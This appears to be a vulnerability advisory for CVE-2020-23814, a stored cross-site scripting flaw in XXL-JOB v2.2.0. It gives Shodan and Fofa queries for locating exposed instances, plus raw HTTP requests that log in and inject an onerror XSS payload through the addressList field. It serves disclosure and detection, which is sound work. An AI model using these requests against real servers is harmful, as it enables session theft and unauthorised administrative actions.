| Title | XXL-JOB v2.2.0 — Stored Cross Site Scripting |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the AppName and AddressList parameters, potentially stealing admin session cookies or performing administrative actions on behalf of authenticated users. |
| Remediation | Upgrade to XXL-JOB version 2.2.1 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01905 |
| CVE ID | CVE-2020-23814 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/xxl-job-admin/static/favicon.ico"http.favicon.hash:"1691956220" |
| Fofa Query | app="xxl-job"icon_hash=1691956220 |
| Tags | cve cve2020 xxl-job xss authenticated vkev vuln |
Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.
POST /xxl-job-admin/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 33
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/toLogin
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
userName=NBDjTH&password=eCCHd7bK
GET /xxl-job-admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /xxl-job-admin/jobgroup/save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
appname=ccbkyc&title=ccbkyc&addressType=1&addressList=<img src=# onerror=\"alert(document.domain)\" />
POST /xxl-job-admin/jobgroup/pageList HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: //xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
start=0&length=100
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23814.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-23814.pcap
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